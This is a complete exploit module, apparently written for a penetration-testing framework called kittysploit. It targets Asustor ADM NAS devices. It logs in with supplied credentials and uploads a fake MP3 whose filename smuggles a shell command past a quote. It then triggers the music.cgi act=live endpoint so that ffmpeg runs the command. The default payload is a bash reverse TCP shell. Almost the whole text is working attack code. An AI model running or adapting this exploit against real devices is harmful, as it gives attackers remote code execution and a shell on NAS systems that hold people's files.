Asustor ADM music.cgi act=live command injection RCE

"""Asustor ADM music.cgi act=live authenticated command injection RCE."""
from __future__ import annotations
import json
import re
import uuid
from urllib.parse import urlencode
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client, Handler):
    __info__ = {'name': 'Asustor ADM music.cgi act=live command injection RCE', 'description': 'Login → upload malicious .mp3 filename → act=add → act=live triggers ffmpeg -i "..." shell breakout (command in filename).', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['asustor', 'adm', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 5, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/asustor_adm_music_cgi_live_command_injection_rce_detect']}}}
    _LOGIN = '/portal/apis/login.cgi'
    _UPLOAD = '/portal/apis/fileExplorer/upload.cgi'
    _MUSIC = '/portal/apis/fileExplorer/music.cgi'
    _FORBIDDEN = '/:?$`'
    _SID_RE = re.compile('sid["\\\']?\\s*[:=]\\s*["\\\']?([A-Za-z0-9_\\-]{6,})')
    port = OptPort(8001, 'ADM portal HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    username = OptString('', 'ADM account', required=True)
    password = OptString('', 'ADM password', required=True)
    destdir = OptString('/volume1/home/admin', 'Upload directory on NAS', required=False)
    name_prefix = OptString('x', 'Filename prefix before quote breakout', required=False)
    music_idx = OptString('1', 'music list index for add/live', required=False)
    live_start = OptString('0', 'seek time for act=live', required=False)

    def _minimal_mp3(self, frames: int=2) -> bytes:
        header = b'\xff\xfb\x90\x00'
        frame = header + b'\x00' * (417 - len(header))
        return frame * frames

    def _basename(self, prefix: str, command: str, extension: str) -> str:
        bad = [c for c in self._FORBIDDEN if c in command]
        if bad:
            raise ValueError(f'command contains forbidden chars for filename sink: {bad}')
        return '%s";%s;#%s' % (prefix, command, extension)

    def _login_sid(self) -> str | None:
        body = urlencode({'act': 'login', 'username': str(self.username or ''), 'password': str(self.password or '')})
        resp = self.http_request('POST', self._LOGIN + '?act=login', data=body, headers={'Content-Type': 'application/x-www-form-urlencoded'}, session=True)
        text = resp.text or '' if resp else ''
        sid = None
        try:
            parsed = json.loads(text)
            stack = [parsed]
            while stack and (not sid):
                node = stack.pop()
                if isinstance(node, dict):
                    for key, val in node.items():
                        if key.lower() == 'sid' and isinstance(val, str):
                            sid = val
                            break
                    if not sid:
                        stack.extend(node.values())
                elif isinstance(node, list):
                    stack.extend(node)
        except ValueError:
            pass
        if not sid:
            m = self._SID_RE.search(text)
            sid = m.group(1) if m else None
        return sid

    def _upload(self, sid: str, basename: str, content: bytes) -> str:
        boundary = '----AsustorKitty' + uuid.uuid4().hex[:8]
        fields = {'sid': sid, 'path': str(self.destdir or '/volume1/home/admin'), 'act': 'upload'}
        body = b''
        for name, value in fields.items():
            body += f'--{boundary}\r\nContent-Disposition: form-data; name="{name}"\r\n\r\n{value}\r\n'.encode()
        escaped = basename.replace('"', '\\"')
        body += f'--{boundary}\r\nContent-Disposition: form-data; name="file"; filename="{escaped}"\r\nContent-Type: audio/mpeg\r\n\r\n'.encode('latin-1', errors='replace')
        body += content + b'\r\n'
        body += f'--{boundary}--\r\n'.encode()
        self.http_request('POST', self._UPLOAD, data=body, headers={'Content-Type': f'multipart/form-data; boundary={boundary}'}, session=True)
        return str(self.destdir or '').rstrip('/') + '/' + basename

    def execute(self, cmd: str) -> str:
        sid = self._login_sid()
        if not sid:
            return 'login failed — no sid in response'
        try:
            base = self._basename(str(self.name_prefix or 'x'), cmd, '.mp3')
        except ValueError as exc:
            return str(exc)
        full_path = self._upload(sid, base, self._minimal_mp3())
        idx = str(self.music_idx or '1')
        self.http_request('GET', self._MUSIC + '?' + urlencode({'act': 'add', 'file': full_path, 'idx': idx, 'sid': sid}), session=True)
        self.http_request('GET', self._MUSIC + '?' + urlencode({'act': 'live', 'idx': idx, 'start': str(self.live_start or '0'), 'sid': sid}), session=True)
        return f'act=live issued for injected filename; command is blind (no HTTP output)'

    def check(self):
        resp = self.http_request('GET', self._LOGIN)
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'ADM portal login API reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Portal not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.username or '').strip() or not str(self.password or '').strip():
            print_error('Set ADM username and password')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('music.cgi upload + act=live injection')
        print_info(self.execute(shell))
        self.vulnerable()
        blind = bool(re.search('reverse|bash|/dev/tcp|nc ', shell, re.I))
        print_warning('Avoid / : ? $ ` in command when using filename injection')
        return True if blind else True